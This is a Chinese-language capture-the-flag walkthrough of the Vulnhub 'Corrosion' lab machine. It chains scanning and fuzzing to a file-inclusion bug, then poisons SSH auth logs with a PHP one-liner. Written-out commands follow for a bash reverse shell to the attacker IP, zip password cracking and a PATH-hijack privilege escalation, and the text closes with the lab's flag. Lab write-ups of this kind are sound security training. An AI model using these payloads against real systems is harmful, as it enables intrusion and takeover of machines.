【渗透测试】Vulnhub Corrosion
[【渗透测试】Vulnhub Corrosion]
渗透环境环境准备
靶机下载地址:https://www.vulnhub.com/entry/corrosion-1,730/
攻击机: 192.168.207.130 (一般是本机ip)
靶机: 192.168.207.132
下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式
目标:获取目标靶机root目录下的flag
进行渗透
一、 获取端口信息
nmap或者arp-scan都能扫除IP,这里就不赘述了。先看看开放了哪些端口。
1 | arp-scan -l |
扫描结果:
除了,192.168.207.1 ,192.168.207.2,192.168.207.254 之外
就只有192.168.207.132 ,它便是目标靶机
IPv4 后面的便是本机(攻击机)192.168.207.130
1 | nmap -A 192.168.207.132 |
扫描结果:
开放了22和80端口,访问80端口,可以正常访问。
二、 寻找WEB漏洞
对目录进行扫描,经过测试,使用dirsearch
的默认字典扫描结果会有缺失,并且对于这个环境来说gobuster
的扫描速度更快,因此我们使用gobuster
使用指定字典/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
进行扫描
1 | -u :指定爆破网站 |
1 | gobuster dir -u http://192.168.207.132 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt |
扫描结果:
访问/tasks
看看
打开tasks_todo.txt,获得以下提示
访问/blog-post
,没有发现什么有用信息
所以我们继续对/blog-post
目录再次进行扫描
1 | gobuster dir -u http://192.168.207.132/blog-post -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt |
扫描结果:
访问/blog-post/archives/
,发现randylogs.php
,直接点击打开是空白的。
看了其他师傅们的文章,这里是有一个文件包含漏洞,但是我们不知道传什么参,因此我们fuzz以下,参数值就设置为/etc/passwd
,得到fuzz结果为file。
1 | wfuzz -w /usr/share/wordlists/dirb/common.txt --hl 0 'http://192.168.207.132/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' |
1 | -w :指定字典 |
1 | 除了使用wfuzz还可以使用fuff |
读取/etc/passwd
内容,成功验证存在文件包含漏洞
1 | http://192.168.207.132/blog-post/archives/randylogs.php?file=/etc/passwd |
三、 漏洞利用
根据前面tasks_todo.txt
的提示,我们在/var/log/
(日志文件一般都存在这儿)下发现了auth.log
1 | http://192.168.207.132/blog-post/archives/randylogs.php?file=/var/log/auth.log |
22端口是SSH服务的端口号,我们将一句话木马注入auth.log
中。将一句话木马作为用户名连接靶机。这里我们使用system()
而不使用eval()
,这样可以通过终端返回的一些信息判断是否成功注入一句话木马。
1 | ssh 'system($_GET['soap']); '@192.168.207.132 |
接下来我们对soap传参ifconfig
或者其他命令,若成功返回信息,则可验证注入成功
1 | http://192.168.207.132/blog-post/archives/randylogs.php?file=/var/log/auth.log&soap=ifconfig |
验证注入成功,由于这是个log文件,不是php文件,因此我们无法使用蚁剑
等工具连接一句话木马,不过可以用相同思路反弹shell。
启动监听,端口为4444
1 | nc -nlvp 4444 |
1 | http://192.168.207.132/blog-post/archives/randylogs.php?file=/var/log/auth.log&soap=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.207.130%2F4444%200%3E%261%27 |
成功反弹shell !!
四、 提权
常规思路,先看一下有SUID权限的文件
1 | find / -perm -u=s -type f 2>/dev/null |
没有什么可疑文件,但是在/var
下发现backups
1 | cd /var |
backups
可能是备份文件
我们看看里面内容
1 | cd backups |
把user_backup.zip
传到kali看看能不能获得有用信息。
靶机启动python搭建简易服务器
1 | python3 -m http.server 8000 |
1 | wget http://192.168.207.132:8000/user_backup.zip |
在kali中解压,发现需要密码,使用fcrackzip进行爆破,使用/usr/share/wordlists/rockyou.txt
字典(kali自带,使用前先解压)
1 | fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip |
得到密码!randybaby
解压文件
1 | unzip user_backup.zip |
解压文件
1 | unzip user_backup.zip |
然后输入密码,即可解压。解压后发现文件my_password.txt
,猜测是用户randy
的ssh连接密码,登陆成功。
1 | id |
发现easysysinfo可以以管理员身份运行,我们上面解压后也得到easysysinfo.c
,查看一下,发现easysysinfo会调用cat,而且没有使用绝对路径,那么我们就可以重写一个cat
,并将其加入系统的环境变量,通过重写的cat
实现提权
1 | echo 'chmod +s /bin/bash' > cat //在当前文件夹下写一个cat文件 |
1 | chmod +s /bin/bash 是设置bash的setuid位,让用户在运行bash的过程中暂时获得拥有者的权限,运行easysysinfo时调用的是我们写的cat,就会让bash的setuid被设置,随后就可以以特权身份运行bash |
发现flag在/root
下,由于我们已经重写cat,因此我们用more来读取
那下flag解决
1 | FLAG: 4NJSA99SD7922197D7S90PLAWE |